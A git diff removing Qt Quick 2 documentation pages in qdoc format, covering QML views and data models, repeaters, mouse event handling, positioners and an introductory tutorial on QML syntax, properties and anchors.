model - \snippet doc/src/snippets/qml/listview-decorations.qml delegate - - The club may decorate the members list by binding visual objects to the \c - header and \c footer properties. The visual object may be defined inline, in - another file, or in a \l {Component} element. - \snippet doc/src/snippets/qml/listview-decorations.qml decorations - \image listview-decorations.png - - \section2 Mouse and Touch Handling - - The views handle dragging and flicking of their content, however they do - not handle touch interaction with the individual delegates. In order for the - delegates to react to touch input, e.g. to set the \c currentIndex, a MouseArea - with the appropriate touch handling logic must be provided by the delegate. - - Note that if \c highlightRangeMode is set to \c StrictlyEnforceRange the - currentIndex will be affected by dragging/flicking the view, since the view - will always ensure that the \c currentIndex is within the highlight range - specified. - - - \section2 ListView Sections - - \l {ListView} contents may be grouped into \e sections, where related list - items are labeled according to their sections. Further, the sections may be - decorated with \l{qml-view-delegate}{delegates}. - - A list may contain a list indicating people's names and the team on which - team the person belongs. - \snippet doc/src/snippets/qml/listview-sections.qml model - \snippet doc/src/snippets/qml/listview-sections.qml delegate - - The ListView element has the \c section \l{Property Binding in QML#Attached - Properties}{attached property} that can combine adjacent and related - elements into a section. The section's \c property property is for selecting - which list element property to use as sections. The \c criteria can dictate - how the section names are displayed and the \c delegate is similar to the - views' \l {qml-view-delegate}{delegate} property. - \snippet doc/src/snippets/qml/listview-sections.qml section - \image listview-section.png - -\keyword qml-view-delegate -\section1 View Delegates - - Views need a \e delegate to visually represent an item in a list. A view will - visualize each item list according to the template defined by the delegate. - Items in a model are accessible through the \c index property as well as the - item's properties. - \snippet doc/src/snippets/qml/listview.qml delegate - \image listview-setup.png - - \section2 Accessing Views and Models from Delegates - - The list view to which the delegate is bound is accessible from the delegate - through the \c{ListView.view} property. Likewise, the GridView - \c{GridView.view} is available to delegates. The corresponding model and its - properties, therefore, are available through \c{ListView.view.model}. In - addition, any defined signals or methods in the model are also accessible. - - This mechanism is useful when you want to use the same delegate for a number - of views, for example, but you want decorations or other features to be - different for each view, and you would like these different settings to be - properties of each of the views. Similarly, it might be of interest to - access or show some properties of the model. - - In the following example, the delegate shows the property \e{language} of - the model, and the color of one of the fields depends on the property - \e{fruit_color} of the view. - - \snippet doc/src/snippets/qml/models/views-models-delegates.qml rectangle - -\keyword qml-data-models -\section1 Models - - Data is provided to the delegate via named data roles which the delegate may - bind to. Here is a ListModel with two roles, \e type and \e age, and a - ListView with a delegate that binds to these roles to display their values: - - \snippet doc/src/snippets/qml/qml-data-models/listmodel-listview.qml document - - If there is a naming clash between the model's properties and the delegate's - properties, the roles can be accessed with the qualified \e model name - instead. For example, if a \l Text element had \e type or \e age properties, - the text in the above example would display those property values instead of - the \e type and \e age values from the model item. In this case, the - properties could have been referenced as \c model.type and \c model.age - instead to ensure the delegate displays the property values from the model - item. - - A special \e index role containing the index of the item in the model is - also available to the delegate. Note this index is set to -1 if the item is - removed from the model. If you bind to the index role, be sure that the - logic accounts for the possibility of index being -1, i.e. that the item is - no longer valid. (Usually the item will shortly be destroyed, but it is - possible to delay delegate destruction in some views via a \c delayRemove - attached property.) - - Models that do not have named roles (such as the ListModel shown - below) will have the data provided via the \e modelData role. The \e - modelData role is also provided for models that have only one role. In this - case the \e modelData role contains the same data as the named role. - - QML provides several types of data models among the built-in set of QML - elements. In addition, models can be created with Qt C++ and then made - available to the \l{The QML Engine}{QML engine} for use by - QML components. For information about creating these models, visit the - \l{Exposing C++ Models} and \l{Creating QML Types} articles. - - The use of positioner items to arrange items from a model is covered in - \l{Generating Items with Repeaters}. - - \section2 ListModel - - ListModel is a simple hierarchy of elements specified in QML. The - available roles are specified by the \l ListElement properties. - - \snippet doc/src/snippets/qml/qml-data-models/listelements.qml model - - The above model has two roles, \e name and \e cost. These can be bound - to by a ListView delegate, for example: - - \snippet doc/src/snippets/qml/qml-data-models/listelements.qml view - - ListModel provides methods to manipulate the ListModel directly via JavaScript. - In this case, the first item inserted determines the roles available - to any views that are using the model. For example, if an empty ListModel is - created and populated via JavaScript, the roles provided by the first - insertion are the only roles that will be shown in the view: - - \snippet doc/src/snippets/qml/qml-data-models/dynamic-listmodel.qml model - \dots - \snippet doc/src/snippets/qml/qml-data-models/dynamic-listmodel.qml mouse area - - When the MouseArea is clicked, \c fruitModel will have two roles, \e cost and \e name. - Even if subsequent roles are added, only the first two will be handled by views - using the model. To reset the roles available in the model, call ListModel::clear(). - - - \section2 XmlListModel - - XmlListModel allows construction of a model from an XML data source. The roles - are specified via the \l XmlRole element. The element needs to be imported. - - \code - import QtQuick.XmlListModel 2.0 - \endcode - - - The following model has three roles, \e title, \e link and \e description: - \qml - XmlListModel { - id: feedModel - source: "http://rss.news.yahoo.com/rss/oceania" - query: "/rss/channel/item" - XmlRole { name: "title"; query: "title/string()" } - XmlRole { name: "link"; query: "link/string()" } - XmlRole { name: "description"; query: "description/string()" } - } - \endqml - - The \l{declarative/rssnews}{RSS News demo} shows how XmlListModel can - be used to display an RSS feed. - - - \section2 VisualItemModel - - VisualItemModel allows QML items to be provided as a model. - - This model contains both the data and delegate; the child items of a - VisualItemModel provide the contents of the delegate. The model - does not provide any roles. - - \snippet doc/src/snippets/qml/models/visual-model-and-view.qml visual model and view - - Note that in the above example there is no delegate required. - The items of the model itself provide the visual elements that - will be positioned by the view. - - \section2 Integers as Models - - An integer can be used as a model that contains a certain number - of elements. In this case, the model does not have any data roles. - - The following example creates a ListView with five elements: - \qml - Item { - width: 200; height: 250 - - Component { - id: itemDelegate - Text { text: "I am item number: " + index } - } - - ListView { - anchors.fill: parent - model: 5 - delegate: itemDelegate - } - - } - \endqml - - - \section2 Object Instances as Models - - An object instance can be used to specify a model with a single object - element. The properties of the object are provided as roles. - - The example below creates a list with one item, showing the color of the \e - myText text. Note the use of the fully qualified \e model.color property to - avoid clashing with \e color property of the Text element in the delegate. - - \qml - Rectangle { - width: 200; height: 250 - - Text { - id: myText - text: "Hello" - color: "#dd44ee" - } - - Component { - id: myDelegate - Text { text: model.color } - } - - ListView { - anchors.fill: parent - anchors.topMargin: 30 - model: myText - delegate: myDelegate - } - } - \endqml - - \keyword qml-c++-models - \section2 C++ Data Models - - Models can be defined in C++ and then made available to QML. This mechanism - is useful for exposing existing C++ data models or otherwise complex - datasets to QML. - - For information, visit the \l{Exposing C++ Models} article. - - -\section1 Repeaters - -\div {class="float-right"} -\inlineimage repeater-index.png -\enddiv - -Repeaters create items from a template for use with positioners, using data -from a model. Combining repeaters and positioners is an easy way to lay out -lots of items. A \l Repeater item is placed inside a positioner, and generates -items that the enclosing positioner arranges. - -Each Repeater creates a number of items by combining each element of data -from a model, specified using the \l{Repeater::model}{model} property, with -the template item, defined as a child item within the Repeater. -The total number of items is determined by the amount of data in the model. - -The following example shows a repeater used with a \l{#Grid}{Grid} item to -arrange a set of Rectangle items. The Repeater item creates a series of 24 -rectangles for the Grid item to position in a 5 by 5 arrangement. - -\snippet doc/src/snippets/qml/repeaters/repeater-grid-index.qml document - -The number of items created by a Repeater is held by its \l{Repeater::}{count} -property. It is not possible to set this property to determine the number of -items to be created. Instead, as in the above example, we use an integer as -the model. This is explained in the \l{QML Data Models#An Integer}{QML Data Models} -document. - -It is also possible to use a delegate as the template for the items created -by a Repeater. This is specified using the \l{Repeater::}{delegate} property. - -\section1 Using Transitions - -Transitions can be used to animate items that are added to, moved within, -or removed from a positioner. - -Transitions for adding items apply to items that are created as part of a -positioner, as well as those that are reparented to become children of a -positioner. -Transitions for removing items apply to items within a positioner that are -deleted, as well as those that are removed from a positioner and given new -parents in a document. - -Additionally, changing the opacity of items to zero will cause them to -disappear using the remove transition, and making the opacity non-zero will -cause them to appear using the add transition. - - -*/ diff --git a/doc/src/qtquick2/mouseevents.qdoc b/doc/src/qtquick2/mouseevents.qdoc deleted file mode 100644 index 1db71cb..0000000 --- a/doc/src/qtquick2/mouseevents.qdoc +++ /dev/null @@ -1,118 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick-mouseevents.html -\ingroup QML Features -\title Mouse Events -\brief handling mouse events in QML - -\tableofcontents - -\section1 Mouse Elements - -\list -\li \l{MouseArea} Element -\li \l{MouseEvent} Object -\endlist - -\section1 Mouse Event Handling - -QML uses \l{QML Signal and Handler Event System}{signals and handlers} to -deliver mouse interactions. Specifically, the \l MouseArea and \l MouseEvent -elements provide QML components with signal handlers to accept mouse events -within a defined area. - -\section1 Defining a Mouse Area - -The \l MouseArea element receives events within a defined area. One quick way -to define this area is to anchor the \c MouseArea to its parent's area using the -\c anchors.fill property. If the parent is a \l Rectangle (or any \l Item -component), then the MouseArea will fill the area defined by the parent's -dimensions. Alternatively, an area smaller or larger than the parent is -definable. -\snippet doc/src/snippets/qml/mousearea/mousearea-snippet.qml anchor fill - -\section1 Receiving Events - -The MouseArea element provides -\l{QML Signal and Handler Event System}{signals and handlers} to detect different -mouse events. The \l MouseArea element documentation describes these -gestures in greater detail: - -\list -\li canceled -\li clicked -\li doubleClicked -\li entered -\li exited -\li positionChanged -\li pressAndHold -\li pressed -\li released -\endlist - -These signals have signal handlers that are invoked when the signals are emitted. -\snippet doc/src/snippets/qml/mousearea/mousearea-snippet.qml mouse handlers - -\section1 Enabling Gestures -Some mouse gestures and button clicks need to be enabled before they send or -receive events. Certain \l MouseArea and \l MouseEvent properties enable these -gestures. - -To listen to (or explicitly ignore) a certain mouse button, set the appropriate -mouse button to the \l {MouseArea::acceptedButtons}{acceptedButtons} property. - -Naturally, the mouse events, such as button presses and mouse positions, are -sent during a mouse click. For example, the \c containsMouse property will only -retrieve its correct value during a mouse press. The -\l {MouseArea::hoverEnabled}{hoverEnabled} will enable mouse events and -positioning even when there are no mouse button presses. Setting the -\c hoverEnabled property to \c true, in turn will enable the \c entered, -\c exited, and \c positionChanged signal and their respective signal handlers. - -\snippet doc/src/snippets/qml/mousearea/mousearea-snippet.qml enable handlers -Additionally, to disable the whole mouse area, set the \c MouseArea -element's \c enabled property to \c false. - -\section1 MouseEvent Object - -Signals and their handlers receive a \l MouseEvent object as a parameter. The -\c mouse object contain information about the mouse event. For example, the -mouse button that started the event is queried through the -\l {MouseEvent::button}{mouse.button} property. - -The \c MouseEvent object can also ignore a mouse event using its \c accepted -property. - -\section2 Accepting Further Signals -Many of the signals are sent multiple times to reflect various mouse events -such as double clicking. To facilitate the classification of mouse clicks, the -MouseEvent object has an \c accepted property to disable the event propagation. - -To learn more about QML's event system, please read the \l {QML Signal and Handler Event System} document. -*/ diff --git a/doc/src/qtquick2/positioners.qdoc b/doc/src/qtquick2/positioners.qdoc deleted file mode 100644 index 138bb83..0000000 --- a/doc/src/qtquick2/positioners.qdoc +++ /dev/null @@ -1,140 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick-positioners.html -\ingroup qml-features -\title Item Layouts - -Positioner items are container items that manage the positions and sizes of -items in a declarative user interface. Positioners behave in a similar way to -the \l{Widgets and Layouts}{layout managers} used with standard Qt widgets, -except that they are also containers in their own right. - -Positioners make it easier to work with many items when they need -to be arranged in a regular layout. - -\section1 Positioners - -A set of standard positioners are provided in the basic set of Qt Quick -graphical elements: - -\list -\li \l{#Column}{Column} arranges its children in a column -\li \l{#Row}{Row} arranges its children in a row -\li \l{#Grid}{Grid} arranges its children in a grid -\li \l{#Flow}{Flow} arranges its children like words on a page -\endlist - -\section2 Column - -\div {class="float-right"} -\inlineimage qml-column.png -\enddiv - -\l Column items are used to vertically arrange items. The following example -uses a Column item to arrange three \l Rectangle items in an area defined -by an outer \l Item. The \l{Column::spacing}{spacing} property is set to -include a small amount of space between the rectangles. - -\snippet doc/src/snippets/qml/column/column.qml document - -Note that, since Column inherits directly from Item, any background color -must be added to a parent Rectangle, if desired. - -\section2 Row - -\div {class="float-right"} -\inlineimage qml-row.png -\enddiv - -\l Row items are used to horizontally arrange items. The following example -uses a Row item to arrange three rounded \l Rectangle items in an area defined -by an outer colored Rectangle. The \l{Row::spacing}{spacing} property is set to -include a small amount of space between the rectangles. - -We ensure that the parent Rectangle is large enough so that there is some space -left around the edges of the horizontally centered Row item. - -\snippet doc/src/snippets/qml/row.qml document - -\section2 Grid - -\div {class="float-right"} -\inlineimage qml-grid-spacing.png -\enddiv - -\l Grid items are used to place items in a grid or table arrangement. -The following example uses a Grid item to place four \l Rectangle items -in a 2-by-2 grid. As with the other positioners, the spacing between items -can be specified using the \l{Grid::spacing}{spacing} property. - -\snippet doc/src/snippets/qml/grid-spacing.qml document - -There is no difference between horizontal and vertical spacing inserted -between items, so any additional space must be added within the items -themselves. - -Any empty cells in the grid must be created by defining placeholder items -at the appropriate places in the Grid definition. - -\section2 Flow - -\div {class="float-right"} -\inlineimage qml-flow-text1.png -\inlineimage qml-flow-text2.png -\enddiv - -\l Flow items are used to place items like words on a page, with rows or -columns of non-overlapping items. - -Flow items arrange items in a similar way to \l Grid items, with items -arranged in lines along one axis (the minor axis), and lines of items -placed next to each other along another axis (the major axis). The -direction of flow, as well as the spacing between items, are controlled -by the \l{Flow::}{flow} and \l{Flow::}{spacing} properties. - -The following example shows a Flow item containing a number of \l Text -child items. These are arranged in a similar way to those shown in the -screenshots. - -\snippet doc/src/snippets/qml/flow.qml document - -The main differences between the Grid and Flow positioners are that items -inside a Flow will wrap when they run out of space on the minor axis, and -items on one line may not be aligned with items on another line if the -items do not have uniform sizes. As with Grid items, there is no independent -control of spacing between items and between lines of items. - -\section1 Other Ways to Position Items - -There are several other ways to position items in a user interface. In addition -to the basic technique of specifying their coordinates directly, they can be -positioned relative to other items with \l{anchor-layout}{anchors}, or used -with \l{QML Data Models} such as -\l{QML Data Models#VisualItemModel}{VisualItemModel}. -*/ diff --git a/doc/src/qtquick2/qmlintro.qdoc b/doc/src/qtquick2/qmlintro.qdoc deleted file mode 100644 index 362d256..0000000 --- a/doc/src/qtquick2/qmlintro.qdoc +++ /dev/null @@ -1,1234 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qml-intro.html tutorial -\title Introduction to the QML Language -\brief Introduction to the concepts and features behind QML. - -QML is a declarative language designed to describe the user interface of a -program: both what it looks like, and how it behaves. In QML, a user -interface is specified as a tree of objects with properties. - -This introduction is meant for those with little or no programming -experience. JavaScript is used as a scripting language in QML, so you may want -to learn a bit more about it (see the online \l{Javascript Guide}) before -diving deeper into QML. It is also helpful to have a basic understanding of -other Web technologies like HTML and JSON, but it is not required. - -The examples shown in this guide are located in the -\c{examples/declarative/tutorials/qmlintro} directory within the Qt source -package. You can run then with the \l{QML Viewer} tool. - -\section1 \l{QML Concepts and Syntax} -\tableofcontents{1 QML Concepts and Syntax}{section4} - -\section1 \l{Composing User Interfaces with QML} -\tableofcontents{1 Composing User Interfaces with QML}{section4} - -\section1 \l{User Interaction with QML} -\tableofcontents{1 User Interaction with QML}{section4} -*/ - -/*! -\page qml-basic-syntax.html -\brief The basic syntax and concepts of the QML language. -\contentspage Introduction to the QML Language -\previouspage Introduction to the QML Language -\nextpage Composing User Interfaces with QML -\title QML Concepts and Syntax - -\tableofcontents - -This chapter covers the basic syntax of the QML language through the -use of examples, introducing the concepts behind the language and -the terminology used in the reference documentation. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-basic-syntax.png -\enddiv -The following example shows the basic syntax of QML. When opened in -the \l{QML Viewer}{\QQV tool}, the output displayed should match the -image shown on the right: a light blue rectangle. - -\snippet examples/declarative/tutorials/qmlintro/basic-syntax.qml document - -In this example, we import the features defined by Qt Quick 1.0, and -we declare and create a single rectangle with width, height and color. -Let's take a look at the main points of the language introduced by -this simple example. - -\section1 Importing Modules - -The \c import statement imports the \c QtQuick \l{QML Modules}{module}, -which contains all of the standard \l{QML Elements}. Without this import -statement, the \l Rectangle and other elements would not be available. - -A specific version of a module is imported. This guarantees that the -elements imported when the application is run by the user match those -used by the developer when the application was written, ensuring that -they have the expected behavior. - -\section1 Elements - -The rectangle in the above example is specified by the \l Rectangle -element. When we declare objects like this, we write the element's type -followed by a pair of braces in between which additional data can be -defined for the object, such as its property values and any child objects. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-elements1.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/elements1.qml document - -Here, we create two elements: a rectangle with an image inside it. We say that -the rectangle is the parent element and the image is its child. Since the -rectangle does not have a parent element, it is a top level element. - -The position of each element in the user interface is defined relative -to the position of its parent, except for the top level element whose -position is always the top-left corner of the screen. - -QML files can contain multiple elements, but \e{only one} can be a top level -element. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-elements2.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/elements2.qml document - -In this example, we can define as many elements inside the rectangle -as we like, but we cannot define other top level elements. All the -additional elements are defined inside the light blue rectangle. - -\note In the QML documentation, we refer to \e elements, \e items and -\e components, often interchangeably. - -\list -\li When we talk about an \e element, we usually mean the syntactic structure, - including the name, the opening and closing braces, and its contents. -\li An \e item is an element that has a visual appearance. All items are - elements that inherit \l Item either directly or indirectly. For example, - a \l Rectangle is an item, but a \l State is an element because it does - not have an intrinsic appearance. -\li A \e component is an element that is defined to be reused. In many cases, - components are often items, too. -\endlist - -For now, we will refer to elements and items. Components are discussed in -detail later in this guide. - -A list of the most common elements is described on the \l{QML Basic Elements} -page. A full list can be found on the \l{QML Elements} page. - -\clearfloat -\section1 Properties - -A QML element usually has various \e properties that help define the element. -For example, all items have the \l{Item::}{x} and \l{Item::}{y} properties -that define the position of the item relative to its parent item (or the -screen's origin) and \l{Item::}{width} and \l{Item::}{height} properties -that define its dimensions. All simple properties have names that begin -with a lower case letter. - -\section2 Setting Properties - -Properties are specified with a \c{property: value} syntax. In the above -example, we can see the \l Image object has a property named \c source, -which has been assigned the value \c{"pics/logo.png"}. The property and its -value are separated by a colon. - -Properties can be specified one-per-line: - -\qml -Rectangle { - width: 100 - height: 100 -} -\endqml - -or you can put multiple properties on a single line: - -\qml -Rectangle { width: 100; height: 100 } -\endqml - -When multiple property-value pairs are specified on a single line, they -must be separated by a semicolon. - -\section2 Basic Property Types - -QML supports properties of many types (see \l{QML Basic Types}). The basic types -include \c int, \c real, \c bool, \c string and \c color. - -\qml -Item { - x: 10.5 // a 'real' property - state: "details" // a 'string' property - focus: true // a 'bool' property - // ... -} -\endqml - -QML properties are what is known as \e type-safe. That is, they only allow you -to assign a value that matches the property type. For example, the \c x property -of item is a real, and if you try to assign a string to it you will get an error. - -\badcode -Item { - x: "hello" // illegal! -} -\endcode - -Property values are dynamic, responding to changes in the user interface. -See the \l{#Property Change Notifications}{Property Change Notifications} -section for information on the different ways to define properties, bind -them together and react to changes. - -\section2 Grouped Properties -\target dot properties - -Some elements contain a set of related properties that form a logical group; -these use a "dot" or grouped notation to show this. The \l Text item is one -such item that uses groups of properties to describe the font used to -display text. - -Grouped properties can be written like this: - -\snippet examples/declarative/tutorials/qmlintro/grouped-properties1.qml text with grouped properties - -or like this: - -\snippet examples/declarative/tutorials/qmlintro/grouped-properties2.qml text with grouped properties - -In the element documentation, grouped properties are shown using the "dot" notation. - -\section2 List Properties - -Some properties contain lists of elements, such as \l State, \l Item or -\l Transition. For example, the \l{Item::}{states} property is used like -this: - -\qml -Item { - states: [ - State { name: "stop" }, - State { name: "go" } - ] -} -\endqml - -The list is enclosed in square brackets, with a comma separating the list -elements. In cases where you are only assigning a single element to a list, -you can omit the square brackets: - -\qml -Item { - states: State { name: "stop" } -} -\endqml - -Elements in the list can be accessed by index. See the \l{list}{list type} -documentation for more details about list properties and their available -operations. - -\section1 Expressions - -JavaScript expressions can be used to assign property values. For example: - -\qml -Item { - width: 100 * 3 - height: 50 + 22 -} -\endqml - -These expressions can include references to other objects and properties, in -which case a \l{Property Binding in QML}{binding} is established: when the value of -the expression changes, the property to which the expression is assigned is -automatically updated to the new value. For example: - -\div {class="float-right"} -\inlineimage declarative-qmlintro-property-binding1.png -\br -\inlineimage declarative-qmlintro-property-binding2.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/property-binding.qml elements - -Here, the child \l Rectangle item's \c width property is set relative to -the width of its parent. Whenever the parent's width changes, the width of -the \l Rectangle is automatically updated. This uses the special \c parent -property to refer to a parent item, which we explore in the -\l{Object Identifiers}{next section}. - -This is useful for relating the size of one element to another, so that -changes to the sizes of elements in the design, or at run-time, will be -taken into account. - -Property binding works with all types of properties, not just those related -to the size of an element. - -\section1 Object Identifiers - -Each object can be given a special \e id value that allows the object to -be identified and referred to by other objects. An \c id must begin with -a lower-case letter or an underscore, and cannot contain characters other -than letters, numbers and underscores. - -For example, below we define a \l Text element and a \l Rectangle element -as children of a \l Column element. The \l Text object has an \c id value -of \c{textElement}. The Rectangle object defines its \c width property -to be the same as that of the Text object by referring to -\c{textElement.width}: - -\div {class="float-right"} -\inlineimage declarative-qmlintro-object-identifiers.png -\enddiv - -\snippet examples/declarative/tutorials/qmlintro/object-identifiers.qml document - -An object can be referred to by its \c id from anywhere within the -\l{QML Documents}{component} in which it is declared. Therefore, an -\c id value must always be unique within a single component. -This means that a single QML file should only contain one place where -a particular \c id value is defined. - -The \c id value is a special value for a QML object and should not be -thought of as an ordinary object property; for example, it is not possible -to access \c{textElement.id} in the above example. Once an object is -created, its \c id cannot be changed. - -\note The \c parent value is a special identity that each element can use -to refer to its parent item. For most simple user interfaces containing -a few display items, the parent of an item will be the enclosing element -in the QML file that contains it. However, when we look at more complex -ways to arrange and display items, we will find that this is not always -the case. - -\section1 Comments - -Commenting in QML is similar to JavaScript. -\list -\li Single line comments start with // and finish at the end of the line. -\li Multi-line comments start with /* and finish with *\/ -\endlist - -Comments are ignored by the QML engine. They are useful for explaining what -you are doing; for referring back to at a later date, or for others reading -your QML files. - -\snippet examples/declarative/tutorials/qmlintro/comments.qml commenting - -Comments can also be used to prevent the execution of code, which is -sometimes useful for tracking down problems. In the above example, the -\l Text element will have normal opacity, since the line containing the -opacity property has been turned into a comment. - -\section1 Responding to Changes - -User interfaces created using QML contain items such as \l Rectangle, -\l Image and \l Text to display content, but they can also contain items -that accept user input, such as \l TextInput and \l MouseArea. When the -user interacts with these items, they emit signals to inform other -components of any change. These signals can be received by the items -themselves; this is the main way to create items that respond to the user. - -\section2 Signal Handlers - -Signal handlers allow JavaScript code to be executed in response to a signal. -For example, the \l MouseArea element has an \l{MouseArea::}{onClicked} handler -that can be used to respond to a mouse click. Below, we use this handler to -print a message whenever the mouse is clicked: - -\snippet examples/declarative/tutorials/qmlintro/signal-handlers.qml document - -All signal handlers begin with \e "on". - -Some signal handlers include an optional parameter. For example -the MouseArea \l{MouseArea::}{onPressed} signal handler has a \c mouse parameter -that contains information about the mouse press. This parameter can be -referred to in the JavaScript code, as below: - -\snippet examples/declarative/tutorials/qmlintro/signal-handlers-parameters.qml mouse area - -\section2 Property Change Notifications - -When a property changes value, it can send a signal to notify others of this change. - -To receive these signals, simply create a \e{signal handler} named with an -\e onChanged syntax. For example, the \l TextInput element has a -\l{TextInput::}{text} property. When this property changes, the \c textChanged -signal is emitted. We can monitor this property for changes with the -\c onTextChanged handler. - -\table -\header \li Property \li Signal \li Signal Handler -\row \li \l{TextInput::}{text} \li \c textChanged \li \c onTextChanged -\endtable - -The following code shows this in practice: - -\div {class="float-right"} -\inlineimage declarative-qmlintro-property-change1.png -\br -\inlineimage declarative-qmlintro-property-change2.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/property-change.qml property change - -When the user modifies the text, the expression assigned to the \c textChanged -handler will be evaluated. In this example, the text changes color when this -happens. - -Similarly, the \l Rectangle element has \l{Item::}{width} and -\l{Rectangle::}{color} properties. Below, we have a \l Rectangle element -that has defined two signal handlers, \c onWidthChanged and \c onColorChanged, -which will automatically be called whenever these properties are modified: - -\qml -Rectangle { - width: 100; height: 100 - - onWidthChanged: console.log("Width has changed to:", width) - onColorChanged: console.log("Color has changed to:", color) -} -\endqml - -These cause the new values of these properties to be written to the console, -which can be useful for debugging purposes. - -\section2 Attached Properties -\target attached-properties - -Some elements attach properties to other elements. This is used in cases -where one element needs to access features of another, but does not -inherit properties to access those features. - -Attached Properties are of the form \e {.} where \e -is the type of the element that attaches \e . - -An example of attached properties in use involves the \l Keys element which -attaches properties for handling key presses to any item. For example: - -\div {class="float-right"} -\inlineimage declarative-qmlintro-attached-properties.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/attached-properties.qml attached properties - -The \l Keys properties are not defined by the \l Item element. They are -defined separately and attached to the item. - -Attached properties are also used by delegates to reference information about -the view they are used in. For example, the \l ListView element attaches -the \e ListView.isCurrentItem property to each delegate it creates: - -\div {class="float-right"} -\inlineimage declarative-qmlintro-attached-properties-view.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/attached-properties-view.qml delegate with attached property - -In effect, by attaching this property, \l ListView provides an interface -that lets the delegate access information about the current item in the -view it appears in. - -The use of attached properties will be covered in more depth later in this -guide. - -\omit -\section2 Default Properties - -Each object type can specify one of its list or object properties as its default property. -If a property has been declared as the default property, the property tag can be omitted. - -For example this code: -\qml -State { - changes: [ - PropertyChanges {}, - PropertyChanges {} - ] -} -\endqml - -can be simplified to: - -\qml -State { - PropertyChanges {} - PropertyChanges {} -} -\endqml - -because \c changes is the default property of the \c State type. -\endomit -*/ - -/*! -\page qml-composing-uis.html -\contentspage Introduction to the QML Language -\previouspage QML Concepts and Syntax -\nextpage User Interaction with QML -\title Composing User Interfaces with QML -\brief How to arrange items with anchors. - -\tableofcontents - -In the \l{Introduction to the QML Language}{previous chapter}, we looked at -the syntax of QML and the basic building blocks that are used to create -user interfaces. For example, at a low level, we have seen that an item's -\c x and \c y properties are used to position it within its parent item. -However, when defining more complex user interfaces, especially those with -items that will move or change size, we need a way to arrange items in a -more systematic way. - -\section1 Anchors and Anchor Lines - -In the previous examples, all the items have been given either absolute -positions in the user interface or positions relative to their parents. -For more flexibility, both at design-time and in the case where the user -interface changes at run-time, we prefer to use anchors to arrange items. - -Anchors connect items together visually, creating relationships between -their geometries. As a result, mixing absolute positioning and anchors -is only recommended in cases where the constraints imposed by each -approach do not conflict. Anchors can only be used to relate items -with their parents, children or siblings. - -\section2 Anchoring within Items - -Anchors can be used to generally describe how items are positioned -within the space occupied by their parents. Two of the anchors are used -to place items in this way. - -The following example uses anchors to position a \l Text item in the -center of a \l Rectangle. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-anchors-centerin.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/anchors.qml centered text - -In this case, the center of the text item is anchored to the center of -its parent item by using the \c{anchors.centerIn} grouped property. -This defines a high level description of the relationship between the two -items. Similarly, the \c{anchors.fill} grouped property is used to describe -the case where an item needs to fill the space provided by its parent. - -\note When using \c{anchors.centerIn} and \c{anchors.fill}, the value of -the anchor property is an item. - -\section2 Anchor Lines - -At a lower level, anchors can be used to line up the edges of two items. -In the following example, the \l Text item is centered within its parent, -the \l Item that defines the user interface. The \l Rectangle uses anchors -to define its position relative to the text item. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-anchors-edges.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/anchors2.qml anchored items - -By giving the text item the \c textItem identifier, we can refer to it when -defining the anchors for the rectangle. We line up the right edge of the -rectangle with the left edge of the text item, and line up their top edges. - -This example shows the use of anchor lines. Grouped properties are defined -for key parts of each item, including its top, left, right and bottom edges, -plus the lines running through the horizontal center and vertical center of -the item. A baseline anchor line is also used for items that display text. - -\note We connect anchor lines to other anchor lines, not to items. - -\section2 Anchors and Property Bindings - -Since the anchor definitions are property bindings, any changes to the -position of an anchor will cause any connected anchors to move as well. -This is illustrated by the following example, which places a red rectangle -beneath a \l TextInput item and uses anchors to ensure that it is always -the same width. - -\div {class="float-right"} -\inlineimage declarative-qmlintro-anchors-expanding1.png -\br -\inlineimage declarative-qmlintro-anchors-expanding2.png -\enddiv -\snippet examples/declarative/tutorials/qmlintro/anchors-expanding.qml anchored items - -The anchor lines on the left and right edges of the rectangle are connected -to those of the text input item. Since the text can be modified by the user, -the width of the item can change. The use of anchors causes the width of the -rectangle to change as well. - -The \l{Anchor-Based Layout in QML} document covers the use of anchors in -more detail. - -\clearfloat -\section2 Margins - -Although anchors are useful for lining up items, it is often useful to leave -small gaps between the edges of adjacent items. The following example lines -up an \l Image item with a \l Text item, but uses a margin to leave a gap -between them. - -\div 